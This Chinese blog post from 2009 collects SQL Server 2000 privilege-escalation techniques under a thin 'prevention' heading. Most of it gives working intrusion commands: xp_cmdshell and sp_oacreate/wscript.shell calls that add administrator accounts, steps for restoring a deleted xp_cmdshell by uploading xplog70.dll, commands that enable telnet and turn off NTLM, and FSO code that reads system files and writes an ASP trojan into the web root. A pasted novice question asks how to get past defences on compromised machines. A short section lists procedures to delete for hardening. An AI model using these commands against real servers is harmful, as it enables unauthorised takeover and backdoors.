Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2284212
  • 博文数量: 181
  • 博客积分: 9990
  • 博客等级: 中将
  • 技术积分: 1865
  • 用 户 组: 普通用户
  • 注册时间: 2006-05-23 09:43
文章分类

全部博文(181)

文章存档

2011年(40)

2010年(17)

2009年(87)

2008年(37)

我的朋友

分类: 网络与安全

2009-01-19 19:43:53

SQL Server 提升权限相关命令及防范


  exec master..xp_cmdshell "net user name password /add"
  
  exec master..xp_cmdshell "net localgroup administrators name /add"

==========================================================================================

  2.sa帐号的改名和删除

  sa一般情况下是既不可以更改名称,也不可以删除,SQL中的企业管理器,接着在工具选项卡中选择SQL server配置属性依次,点服务器设置,看到允许对系统目录直接进行修改前面的方框吗,点一下,好。

  再打开查询分析器,登陆进去(呵呵,随便你用什么帐号进去,不过可一定要在master数据库中有db_owner的权限)输入:

  update sysxlogins set name='yun' where sid=0x01

  update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name='yun'

  192.168.71.128 yun 空

  当然你也可以改回来,你要改成的名字=sa

============================================================================================

  3.防范判断存储过程以及拒绝SQL连接入侵

  删除SQLSERVER扩展存储过程

  扩展存储过程包括:再通过企业管理器删除下面这些

  sp_activedirector_scp

  sp_adddispublisher

  sp_adddistributiondb

  sp_attachsubscription

  sp_changedistpublisher

  sp_copysubscription

  sp_mscopyscriptfile

  sp_msremove_userscript
 
  sp_replicationoption

  sp_resolve_logins

  sp_vupgrade_replication

  xp_cmdshell

  这样可以有效防范ASP木马运行判断存储过程。

  SA这类用户的xp_shell调用到xplog70.dll.

  删除xplog70.dll,这样可以防止大多数的SQL连接,就是别人通过SQL注入连接到你服务器,也执行不了命令。

  c:\sql2000\程序文件\bin\xplog70.dll

=====================================================================================================

  4.确定 SQL Server 或 Analysis Services 的当前版本

  osql 或 isql 实用工具在命令提示符中或在 SQL 查询分析器的“查询”窗口中键入 SELECT @@VERSION 或 SERVERPROPERTY('ProductVersion')。

  同样,特定版本 SQL Server 2000 的产品级别可以通过执行 SELECT SERVERPROPERTY('ProductLevel') 来确定。

  下表显示了 SQL Server 2000 版本和级别、@@VERSION 报告的版本号以及 SERVERPROPERTY('ProductLevel') 报告的产品级别三者之间的关系。

  SQL Server 2000 版本和级别 @@VERSION ProductLevel

  SQL Server 2000 RTM 8.00.194 RTM
 
  Database Components SP1 8.00.384 SP1

  Database Components SP2 8.00.534 SP2

  Database Components SP3 8.00.760 SP3

======================================================================================= =========

  1 未能找到存储过程'master..xpcmdshell'. (也就是管理员删除了扩展存储过程-xp_cmdshell)

  恢复方法:查询分离器连接后,

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  然后按F5键命令执行完毕

  2 无法装载xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。(也就是被管理员删除了xplog70.dll,或者改名了。)

  给他上传一个xplog70.dll文件。

  打开文件上传的窗口将文件上传到C:\WinNt\System32\下后执行数据库命令

  Select * from sysxlogins Exec master.dbo.addextendedproc 'xp_cmdshell', 'C:\WinNt\System32\xplog70.dll'。

  Select * from sysxlogins Exec master.dbo.addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

  3 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)

  恢复方法:查询分离器连接后,

  第一步执行:sp_dropextendedproc "xp_cmdshell"

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  4 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

  恢复方法:查询分离器连接后,

  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  然后按F5键命令执行完毕

  5 终极方法.

  如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

  查询分离器连接后,

  2000servser系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

  xp或2003server系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

  然后按F5键命令执行完毕

  但这样做似乎没有什么用,我用以上的方法只成功过一台机器,我想可能是管理员删除了xpsql70.dll或者xplog70.dll,我从网上找了这两个dll文件,上传上去,再用上面的方法还是不行?不知道为什么?能否帮忙解释一下为什么

  问题2:xp_cmdshell,sp_oacreate等无执行权限,这些机器我就直接放弃了,我是菜鸟,不知道还有什么办法可以突破这个?

  问题3:有些机器可以用上面的终极方法添加管理员,也是就得到了最终的权限,但是开不了telnet,telnet无法启动服务,这样还能开3389吗?telnet无法启动的时候改怎么解决呢?

  问题4:用终极方法添加管理员后,还是用declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net start telnet '启动了telnet服务,但是需要NTLM验证,我知道用紫幻的方法可以很好解决,但是我用declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c tlntadmn config sec = -ntlm'执行成功以后,用telnet登陆还是需要NTLM验证,想不通为什么成功了还要NTML验证,然后在网上找资料,找到的三种方法,

  1:上传NTML.exe改模式2为1(但我没有得到一个shell,能用添加管理一样,执行NTML.exe文件吗?也不知道会不会上传成功?)

  2:用opentelnet,这个依赖$IPC,没开只能放弃。

  3:用cscript rtcs.vbe,我在网上找了好久都没找到rtcs.vbe这个文件,!-_-

  到这里,我这菜鸟又没有办法了,又只能放弃了。导师们,你们到这里会这么解决

  6 绕过xp_cmdshell执行系统命令

  在MSSQL中可以通过sp_oacreate 和sp_oamethod 两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成:

  declare @o int
 
  exec sp_oacreate 'wscript.shell', @o out

  exec sp_oamethod @o, 'run', NULL, 'net start telnet'

  他的作用是在服务器端通过wscript.shell执行net start telnet,从而开启服务器的telnet服务。

  你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如:

  declare @o int, @f int, @t int, @ret int ,@c varchar(8000)

  declare @line varchar(8000)

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

  exec @ret = sp_oamethod @f, 'readline', @line out

  select @c=''

  while( @ret = 0)

  begin

  select @c=@c+@line+char(13)+char(10)

  exec @ret = sp_oamethod @f, 'readline', @line out

  end

 
  可以读取c:\boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。

  用这种方法也可以创建文件,并写入数据,例如:

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL, ''

  在c:\inetpub\wwwroot\foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿!

  总论

  MSSQL为我们提供了异常丰富的存储扩展库,可以完成操作系统所能完成的大部分重要的功能,例如注册表管理、文件管理、用户管理、权限管理等。但是如果没有足够的安全防范意识,就会给服务器带来致命性的威胁。说得我自己都有点怕怕了.

阅读(640) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~